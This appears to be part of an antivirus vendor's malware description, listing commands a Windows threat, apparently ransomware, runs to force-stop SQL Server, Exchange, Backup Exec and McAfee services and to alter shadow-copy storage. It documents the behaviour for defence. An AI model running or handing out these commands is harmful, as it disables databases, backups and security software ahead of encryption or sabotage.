'%WINDIR%\syswow64\net1.exe' stop "MsDtsServer100" /y
'%WINDIR%\syswow64\net1.exe' stop "MsDtsServer110" /y
'%WINDIR%\syswow64\net1.exe' stop "MSExchangeES" /y
'%WINDIR%\syswow64\net1.exe' stop "MSExchangeIS" /y
'%WINDIR%\syswow64\net1.exe' stop "MSSQL$PROFXENGAGEMENT" /y
'%WINDIR%\syswow64\net1.exe' stop "MSSQL$SBSMONITORING" /y
'%WINDIR%\syswow64\net1.exe' stop "MSExchangeMGMT" /y
'%WINDIR%\syswow64\net1.exe' stop "MSExchangeSRS" /y
'%WINDIR%\syswow64\net1.exe' stop "MSOLAP$SQL_2008" /y
'%WINDIR%\syswow64\net1.exe' stop "MSOLAP$SYSTEM_BGC" /y
'%WINDIR%\syswow64\net1.exe' stop "MSOLAP$TPS" /y
'%WINDIR%\syswow64\net1.exe' stop "MSOLAP$TPSAMA" /y
'%WINDIR%\syswow64\net1.exe' stop "MSSQL$BKUPEXEC" /y
'%WINDIR%\syswow64\net1.exe' stop "MSSQL$ECWDB2" /y
'%WINDIR%\syswow64\net1.exe' stop "MSSQL$PRACTICEMGT" /y
'%WINDIR%\syswow64\net1.exe' stop "mfemms" /y
'%WINDIR%\syswow64\net1.exe' stop "MSExchangeSA" /y
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=F: /on=F: /maxsize=unbounded

Technologies

Terminology

Training and education

Myths

Technical Information

Curing recommendations

Free trial